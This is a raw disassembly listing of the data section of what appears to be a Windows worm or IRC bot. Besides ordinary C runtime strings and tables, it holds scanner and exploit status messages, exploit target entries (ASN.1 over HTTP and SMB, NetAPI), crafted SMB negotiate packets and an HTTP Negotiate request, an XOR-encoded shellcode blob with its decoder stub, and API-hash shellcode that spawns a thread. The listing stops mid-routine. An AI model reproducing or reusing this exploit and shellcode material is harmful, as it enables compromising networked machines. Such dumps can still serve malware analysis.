dword_41818C dd 71AB155Ah ; DATA XREF: sub_403E11+9Dr
dword_418190 dd 71AB3ECEh ; DATA XREF: sub_403E11+C4r
dword_418194 dd 71AB5DE2h ; DATA XREF: sub_403E11+D8r
dword_418198 dd 71AB868Dh ; DATA XREF: sub_403E11+17Er
dword_41819C dd 71AB12F8h ; DATA XREF: sub_402972+2Cr
; sub_4043F8+35r
dword_4181A0 dd 71AB1746h ; DATA XREF: sub_402972+3Dr
; sub_403E11+B3r ...
dword_4181A4 dd 71AB3E5Dh ; DATA XREF: sub_402972+50r
; sub_4043F8+57r
dword_4181A8 dd 71AB3F8Dh ; DATA XREF: sub_402972+7Br
; sub_403E11+8Dr
dword_4181AC dd 71AB5690h ; DATA XREF: sub_402972+B5r
; sub_402972+28Br ...
dword_4181B0 dd 71AB1A6Dh ; DATA XREF: sub_402972+26Fr
; sub_402972:loc_402DC8r ...
dword_4181B4 dd 71AB3C22h ; DATA XREF: sub_4023B8+AFr
; sub_402972+15r ...
dword_4181B8 dd 71AB1AF4h ; DATA XREF: sub_4020C0+12r
; sub_402972+A4r ...
dword_4181BC dd 71AB1890h ; DATA XREF: sub_401F1D+4Cr
; sub_403E11+115r
dword_4181C0 dd 71AB1B7Bh ; DATA XREF: sub_417A78r
align 8
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4022FD+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_418208 dq 1.388888888888889e-2 ; DATA XREF: sub_402112+2Fr
dbl_418210 dq 1.666666666666667e-1 ; DATA XREF: sub_402112+15r
dbl_418218 dq 1.333333333333333 ; DATA XREF: sub_40215E+7Ar
dword_418220 dd 2 dup(0) ; DATA XREF: sub_4022FD+4Do
; sub_40263D+57o ...
dbl_418228 dq -3.0517578125e-5 ; DATA XREF: sub_40301D+1Er
dword_418230 dd 0 ; DATA XREF: sub_403245+24r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh
byte_41862C db 8Dh ; DATA XREF: sub_40EDD8+4Ar
db 0EFh, 2, 2Dh
dbl_418630 dq 9.765625e-4 ; DATA XREF: sub_4032EE+2B8r
; sub_4032EE+2CDr ...
dbl_418638 dq 1.0 ; DATA XREF: sub_40CDEA+6Cr
; sub_40CF33+6Cr ...
dword_418640 dd 0FFFFFFFFh, 40EC5Bh, 40EC6Fh ; DATA XREF: sub_40EB84+5o
byte_41864C db 6 ; DATA XREF: sub_40EDD8:loc_40EE2Fr
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: .nsp0:off_41FC7Co
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_41FC78o
align 10h
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_4100DB+8Eo
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_4100DB+4Fo
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aLog_0 db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .nsp0:off_421CBCo
align 8
dbl_4187A8 dq 0.0 ; DATA XREF: sub_411832+8Cr
; sub_411832+ACr ...
dbl_4187B0 dq 4.195835e6 ; DATA XREF: sub_411D47+Fr
dbl_4187B8 dq 3.145727e6 ; DATA XREF: sub_411D47+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_411D85+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_411D85o
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_411EAC+93o
align 10h
dword_4187F0 dd 0FFFFFFFFh, 412597h, 4125A1h, 0 ; DATA XREF: sub_412530+5o
dword_418800 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41265F+5o
dd offset loc_41271D
align 10h
dd offset sub_4126FB
dd offset sub_412705
dword_418818 dd 0FFFFFFFFh, 41294Dh, 412951h, 0 ; DATA XREF: sub_412795+5o
dword_418828 dd 0FFFFFFFFh, 4129AFh, 4129B8h, 0 ; DATA XREF: sub_412959+5o
dword_418838 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_412A3C+5o
dd offset loc_412A8D
align 8
dd offset loc_412A79
dd offset loc_412A7D
dword_418850 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_412A92+5o
dd offset loc_412AE3
align 10h
dd offset loc_412ACF
dd offset loc_412AD3
dword_418868 dd 2 dup(0) ; DATA XREF: sub_413455+36o
; sub_415447+39o ...
dword_418870 dd 0FFFFFFFFh, 413565h, 413569h, 0FFFFFFFFh, 413619h, 41361Dh
; DATA XREF: sub_413455+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h
dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh
dd 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 10h
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_422304o
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_414679+119o
align 4
asc_418B3C db 0Ah ; DATA XREF: sub_414679+F1o
db 0Ah,0
align 10h
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_414679+D3o
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0 ; DATA XREF: sub_414679+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_414679+7Do
align 4
dword_418B78 dd 0FFFFFFFFh, 415540h, 415544h ; DATA XREF: sub_415447+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_415A78+Ao
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_416004+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_416004+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_416004+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_416808:loc_4168FDo
align 10h
a1Inf db '1#INF',0 ; DATA XREF: sub_416808+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_416808+C7o
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: sub_416808+ADo
align 4
dword_418C18 dd 0FFFFFFFFh, 417346h, 41734Ah, 0FFFFFFFFh, 4173B5h, 4173B9h
; DATA XREF: sub_41718F+5o
dd 418D40h
off_418C34 dd offset loc_417918 ; DATA XREF: sub_417720+4Do
; sub_417934+Co
dd offset sub_4177DE
dd offset sub_4178FB
aStringTooLong db 'string too long',0 ; DATA XREF: sub_417720+1Eo
dd offset dword_418D78
off_418C54 dd offset loc_417845 ; DATA XREF: sub_41777A+4Eo
; sub_417808+11o ...
dd offset sub_4177DE
; ---------------------------------------------------------------------------
jmp short near ptr byte_418CD5
; ---------------------------------------------------------------------------
dw 41h
dword_418C60 dd 0FFFFFFFFh ; DATA XREF: sub_41777A+3Br
; sub_417861+34r
dd offset dword_418DC8
off_418C68 dd offset loc_417A00 ; DATA XREF: sub_41794C+4Do
; sub_417A1C+Co
dd offset sub_4177DE
dd offset sub_4179E3
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41794C+1Eo
dd offset dword_418DF8
off_418C90 dd offset sub_417A84 ; DATA XREF: sub_417AA0+8o
; sub_417ADD+8o ...
dd offset sub_417B3D
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_417B3D+7o
align 4
dd offset dword_418E40
off_418CB0 dd offset loc_417B5F ; DATA XREF: sub_417B4Ao
; .nsp0:off_422A28o ...
align 8
dword_418CB8 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_417B7B+Eo
dd 3, 19930520h, 0
db 0
byte_418CD5 db 3 dup(0) ; CODE XREF: .nsp0:00418C5Cj
off_418CD8 dd offset off_422A28 ; DATA XREF: .nsp0:00418D28o
; .nsp0:00418D5Co ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_418CF0 dd offset off_422A40 ; DATA XREF: .nsp0:00418D24o
; .nsp0:00418D58o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_418D08 dd offset off_422A60 ; DATA XREF: .nsp0:00418D20o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_418D08
dd offset off_418CF0
dd offset off_418CD8
dword_418D2C dd 3 dup(0) ; DATA XREF: .nsp0:00418D50o
dd 3, 418D20h, 3 dup(0)
dd offset off_422A60
dd offset dword_418D2C+4
align 8
dd offset off_418CF0
dd offset off_418CD8
dword_418D60 dd 4 dup(0) ; DATA XREF: .nsp0:00418D88o
dd 2, 418D58h
dword_418D78 dd 3 dup(0) ; DATA XREF: .nsp0:00418C50o
dd offset off_422A40
dd offset dword_418D60+8
align 10h
off_418D90 dd offset off_422A80 ; DATA XREF: .nsp0:00418DA8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_418D90
dd offset off_418CF0
dd offset off_418CD8
dd 0
db 0 ; DATA XREF: .nsp0:00418DD8o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 418DA8h
dword_418DC8 dd 3 dup(0) ; DATA XREF: .nsp0:00418C64o
dd offset off_422A80
dd offset unk_418DB8
dd offset off_418CD8
dword_418DE0 dd 4 dup(0) ; DATA XREF: .nsp0:00418E08o
dd 1, 418DDCh
dword_418DF8 dd 3 dup(0) ; DATA XREF: .nsp0:00418C8Co
dd offset off_422A28
dd offset dword_418DE0+8
align 10h
off_418E10 dd offset off_422AA0 ; DATA XREF: .nsp0:00418E28o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_418E10
dword_418E2C dd 3 dup(0) ; DATA XREF: .nsp0:00418E50o
dd 1, 418E28h
dword_418E40 dd 3 dup(0) ; DATA XREF: .nsp0:00418CACo
dd offset off_422AA0
dd offset dword_418E2C+4
align 8
dd 0FFFFFFFFh, 417BC0h, 0
dd offset sub_417BB8
dword_418E68 dd 19930520h, 2, 418E58h, 4 dup(0) ; DATA XREF: .nsp0:loc_417BD7o
dd 0FFFFFFFFh, 417BE4h, 0
dd offset loc_417BEC
dword_418E94 dd 19930520h, 2, 418E84h, 4 dup(0) ; DATA XREF: .nsp0:loc_417BF4o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 4 dup(0)
dd offset loc_4028A3
dd 2 dup(0)
dd 2 dup(1), 418EC0h
dword_418EE4 dd 19930520h, 2, 418EB0h, 1, 418ED0h, 3 dup(0)
; DATA XREF: .nsp0:loc_417C00o
dd offset off_422A28
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 417ADDh, 2 dup(0)
dd offset off_422A40
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 417861h, 2 dup(0)
dd offset off_422A60
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 417934h, 0
dword_418F60 dd 3, 418F40h, 418F20h, 418F00h ; DATA XREF: .nsp0:00418F7Co
dword_418F70 dd 0 ; DATA XREF: sub_417720+47o
; sub_4178FB+12o
dd offset sub_4178BE
dd 0
dd offset dword_418F60
dword_418F80 dd 19930520h, 1, 418FA0h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C14o
dd 0FFFFFFFFh, 417C0Ch
dword_418FA8 dd 19930520h, 1, 418FC8h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C28o
dword_418FC8 dd 0FFFFFFFFh, 417C20h, 2, 418F20h, 418F00h, 0 ; DATA XREF: .nsp0:00418FECo
dword_418FE0 dd 0 ; DATA XREF: .nsp0:004177FDo
dd offset sub_417808
dd 0
dd offset dword_418FC8+8
dword_418FF0 dd 19930520h, 1, 419010h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C3Co
dd 0FFFFFFFFh, 417C34h
dword_419018 dd 19930520h, 1, 419038h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C50o
dd 0FFFFFFFFh, 417C48h
dword_419040 dd 19930520h, 1, 419060h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C64o
dd 0FFFFFFFFh, 417C5Ch, 0
dd offset off_422A80
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 417A1Ch, 0
dword_419088 dd 3, 419068h, 418F20h, 418F00h ; DATA XREF: .nsp0:004190A4o
dword_419098 dd 0 ; DATA XREF: sub_41794C+47o
; sub_4179E3+12o
dd offset sub_4179A6
dd 0
dd offset dword_419088
dword_4190A8 dd 19930520h, 1, 4190C8h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C78o
dd 0FFFFFFFFh, 417C70h
dword_4190D0 dd 19930520h, 1, 4190F0h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C8Co
dd 0FFFFFFFFh, 417C84h, 8 dup(0)
dd 199DAh, 18000h, 3B8h dup(0)
dword_41A000 dd 0 ; DATA XREF: sub_40E785+1Fo
dd offset sub_402951
dd offset sub_417A34
dword_41A00C dd 0 ; DATA XREF: sub_40E785+1Ao
dword_41A010 dd 0 ; DATA XREF: sub_40E785+10o
dd offset sub_40D822
dd offset sub_413A3D
dd offset sub_4149E3
; ---------------------------------------------------------------------------
retn 4153h
; ---------------------------------------------------------------------------
align 4
dword_41A024 dd 0 ; DATA XREF: sub_40E785:loc_40E790o
dword_41A028 dd 0 ; DATA XREF: sub_40E7D4+65o
dd offset sub_414A88
dword_41A030 dd 0 ; DATA XREF: sub_40E7D4:loc_40E834o
dword_41A034 dd 0 ; DATA XREF: sub_40E7D4+76o
dd offset loc_4153D3
dword_41A03C dd 0 ; DATA XREF: sub_40E7D4:loc_40E845o
dword_41A040 dd 682D61h, 0 ; DATA XREF: sub_40154B+FAo
db 2 dup(0)
word_41A04A dw 5341h ; DATA XREF: .nsp0:00402FC0o
dd 2D312E4Eh, 50545448h, 5 dup(0)
dword_41A068 dd 50h ; DATA XREF: sub_401000+1Er
; sub_4077FD+1C91r ...
off_41A06C dd offset sub_4023B8 ; DATA XREF: sub_40154B+17Cr
dword_41A070 dd 0 ; DATA XREF: sub_401000+2Eo
; sub_4023B8+1BCr ...
dword_41A074 dd 1 ; DATA XREF: sub_401141+1Er
dd 1, 32682D61h, 0
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 4023B8h, 0
dd 2 dup(1), 33682D61h, 0
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 4023B8h, 0
dd 2 dup(1), 3174656Eh, 0
dd 654E0000h, 69706174h, 3933312Dh, 5 dup(0)
dd 8Bh, 402F69h, 0
dd 2 dup(1), 3274656Eh, 0
dd 654E0000h, 69706174h, 3534342Dh, 5 dup(0)
dd 1BDh, 402F69h, 0 ; CODE XREF: sub_41A1AA:loc_41A1BFj
dd 2 dup(1), 0Fh dup(0)
; ---------------------------------------------------------------------------
jmp short loc_41A1BA
; =============== S U B R O U T I N E =======================================
sub_41A1AA proc near ; CODE XREF: sub_41A1AA:loc_41A1BAp
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_41A1B2: ; CODE XREF: sub_41A1AA+Cj
xor byte ptr [edx+ecx], 99h
loop loc_41A1B2
jmp short loc_41A1BF
; ---------------------------------------------------------------------------
loc_41A1BA: ; CODE XREF: .nsp0:0041A1A8j
call sub_41A1AA
loc_41A1BF: ; CODE XREF: sub_41A1AA+Ej
jo short near ptr dword_41A158+2
cwde
cdq
cdq
retn
sub_41A1AA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_401000+81o
align 4
aSD db ' %s: %d,',0 ; DATA XREF: sub_401000+42o
align 4
unk_41A348 db 1Fh ; DATA XREF: sub_401000+11o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aExploitStatist db ' Exploit Statistics:',0
align 4
unk_41A36C db 1Fh ; DATA XREF: sub_4010CA+42o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aScanNotActive_ db ' Scan not active.',0
align 4
dword_41A38C dd 273021Fh, 6E61631Fh, 2BB0220h, 754320BBh, 6E657272h
; DATA XREF: sub_4010CA+2Co
dd 50492074h, 7325203Ah, 2Eh
dword_41A3AC dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_401141+259o
aFailedToStartS db ' Failed to start server, error: <%d>.',0
align 10h
dword_41A3E0 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_401141+1FBo
aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0
unk_41A420 db 1Fh ; DATA XREF: sub_401141+138o
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aFailedToStar_0 db ' Failed to start server, error: <%d>.',0
align 8
unk_41A458 db 1Fh ; DATA XREF: sub_401141+D8o
; sub_4077FD+31A9o
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_401412+38o
; sub_4058DC+46o
unk_41A4A8 db 1Fh ; DATA XREF: sub_401704+1E0o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
unk_41A4E8 db 1Fh ; DATA XREF: sub_401704+168o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedToStartW db ' Failed to start worker thread, error: <%d>.',0
align 4
unk_41A524 db 1Fh ; DATA XREF: sub_401704+103o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_41A55C db 1Fh ; DATA XREF: sub_401704+87o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 8
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_401BC7+B2o
align 4
dword_41A5A4 dd 10FF8h, 0 ; DATA XREF: sub_401BC7+6Ao
dword_41A5AC dd 10FF8h ; DATA XREF: sub_401BC7+79o
dword_41A5B0 dd 7FFDF020h, 0 ; DATA XREF: sub_401BC7+162o
dword_41A5B8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_401FE1+78o
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41A640 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401FE1+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_41A670 dd 0 ; DATA XREF: sub_401FE1+44o
dd 800000D4h, 2 dup(0)
unk_41A680 db 81h ; ; DATA XREF: sub_4020C0+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_41A6D0 db 41h ; DATA XREF: sub_40215E+108r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 8
; =============== S U B R O U T I N E =======================================
sub_41A718 proc near ; DATA XREF: sub_4023B8+82o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_41A814
push dword ptr [esi]
push 63D61209h
call sub_41A82A
mov [esi+8], eax
call sub_41A7DD
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_41A82A
mov [esi+0Ch], eax
call sub_41A78F
push dword ptr [esi+4]
push 4C0297FAh
call sub_41A82A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
